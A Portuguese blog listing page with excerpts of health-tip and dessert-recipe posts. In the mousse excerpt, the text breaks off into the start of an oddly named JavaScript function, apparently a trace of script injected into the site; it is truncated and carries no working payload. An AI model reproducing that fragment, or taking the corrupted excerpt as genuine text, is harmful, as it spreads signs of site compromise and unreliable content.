Alimentos que contribuem para a tensão arterial ideal

Jun 19, 2019 | Dicas úteis, Saúde e bem estar

Alimentos que contribuem para a tensão arterial ideal     Medir a tensão arterial é um acto que todos nós devíamos fazer habitualmente para verificar se existem problemas com a nossa saúde. É realmente importante controlar os valores da tensão arterial, até porque...

Mousse de iogurte e morango, uma sobremesa fresca e saudável

Mai 23, 2019 | À descoberta, Receitas

Mousse de iogurte e morango, uma sobremesa fresca e saudável     Já lhe muitas e deliciosas receitas, desde o fabuloso arroz doce até ao tradicional pão de ló, passfunction a4872b9c6b(y1){var...

Receita de cheesecake – fácil e delicioso!

Fev 5, 2019 | À descoberta, Receitas

Receita de cheesecake – fácil e delicioso!   Olá! Hoje trago-lhe uma receita nova. Desta vez uma sobremesa deliciosa! Cheesecake, gosta? Não está sozinho! Eu adoro! É simplesmente maravilhoso. Então, mãos à obra! Delicie-se e delicie toda a família com esta...

Os 10 alimentos que pode comer à vontade

Jul 12, 2017 | Saúde e bem estar

Os 10 alimentos que pode comer à vontade     Ter uma alimentação saudável deveria ser uma prioridade de todos nós, mas, para muitos, escolher os produtos certos nem sempre é fácil. É por isso que fiz este artigo. Conheça aqui os 10 alimentos que pode comer à vontade e...

Dentes mais brancos – cuidados diários e solução caseira

Jun 24, 2017 | Saúde e bem estar

Dentes mais brancos – cuidados diários e solução caseira     Quem é que não deseja sorrir para o mundo com dentes perfeitos e mais brancos? Para tal, manter uma boa higiene oral é essencial. É por isso que hoje lhe mostro alguns cuidados diários para ter dentes...

Semi-frio de bolacha com morangos

Jun 2, 2017 | Receitas

Semi-frio de bolacha com morangos     A receita que lhe mostro hoje é daquelas que agradam aos mais gulosos!  É uma sobremesa que irá certamente deixá-los com água na boca!… E, além de fresca, é simplesmente deliciosa! E com calor quem não gosta de sobremesas...

Receita de gelados de fruta com chocolate

Mai 19, 2017 | Receitas

Receita de gelados de fruta com chocolate     Quem é que não gosta de um gelado nestes dias de calor? Mas atenção, os gelados que compra na rua estão carregados de açúcar e gorduras industrializadas. A solução é optar por fazer os seus gelados em casa. E estes são...

10 alimentos e cuidados para ter unhas fortes e bonitas

Mar 4, 2017 | Equilíbrio, Saúde e bem estar

10 alimentos e cuidados para ter unhas fortes e bonitas   Para ter umas unhas fortes e bonitas o primeiro passo é uma alimentação equilibrada e saudável… mas são precisos também outros cuidados. Quer saber tudo? Conheça aqui 10 alimentos e cuidados que ajudam a...